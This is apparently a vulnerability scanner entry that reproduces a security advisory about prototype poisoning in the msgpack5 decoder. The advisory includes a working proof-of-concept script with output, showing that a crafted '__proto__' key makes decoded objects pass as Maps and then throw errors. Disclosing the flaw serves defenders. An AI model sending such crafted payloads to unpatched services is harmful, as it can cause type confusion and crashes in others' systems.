QID 982906

Security update has been released for msgpack5 to fix the vulnerability.

Note: The preceding description block is extracted directly from the security advisory. Using automation, we have attempted to clean and format it as much as possible without introducing additional issues.

The issue is as follows: when `msgpack5` decodes a map containing a
key `"__proto__"`, it assigns the decoded value to `__proto__`. As you
are no doubt aware, `Object.prototype.__proto__` is an accessor
property for the receiver's prototype. If the value corresponding to
the key `__proto__` decodes to an object or `null`, `msgpack5` sets
the decoded object's prototype to that value.

An attacker who can submit crafted MessagePack data to a service can
use this to produce values that appear to be of other types; may have
unexpected prototype properties and methods (for example `length`,
numeric properties, and `push` et al if `__proto__`'s value decodes to
an `Array`); and/or may throw unexpected exceptions when used (for
example if the `__proto__` value decodes to a `Map` or `Date`). Other
unexpected behavior might be produced for other types.

There is no effect on the global prototype.

An example:

```js
const msgpack5 = require('msgpack5')();

const payload = {};
Object.defineProperty(payload, '__proto__', {
value: new Map().set(1, 2),
enumerable: true
});

const encoded = msgpack5.encode(payload);
console.log(encoded); // <Buffer 81 a9 5f 5f 70 72 6f 74 6f 5f 5f 81 01 02>

const decoded = msgpack5.decode(encoded);

// decoded's prototype has been overwritten
console.log(Object.getPrototypeOf(decoded)); // Map(1) { 1 => 2 }
console.log(decoded.get); // [Function: get]

// decoded appears to most common typechecks to be a Map
console.log(decoded instanceof Map); // true
console.log(decoded.toString()); // [object Map]
console.log(Object.prototype.toString.call(decoded)); // [object Map]
console.log(decoded.constructor.name); // Map
console.log(Object.getPrototypeOf(decoded).constructor.name); // Map

// decoded is not, however, a Map
console.log(Object.getPrototypeOf(decoded) === Map.prototype); // false

// using decoded as though it were a Map throws
try {
decoded.get(1);
} catch (error) {
console.log(error); // TypeError: Method Map.prototype.get called
// on incompatible receiver #<Map>
}
try {
decoded.size;
} catch (error) {
console.log(error); // TypeError: Method get Map.prototype.size
// called on incompatible receiver #<Map>
}

// re-encoding the decoded value throws
try {
msgpack5.encode(decoded);
} catch (error) {
console.log(error); // TypeError: Method Map.prototype.entries
// called on incompatible receiver #<Map>
}
```

This "prototype poisoning" is sort of a very limited inversion of a
prototype pollution attack. Only the decoded value's prototype is
affected, and it can only be set to `msgpack5` values (though if the
victim makes use of custom codecs, anything could be a `msgpack5`
value). We have not found a way to escalate this to true prototype
pollution (absent other bugs in the consumer's code).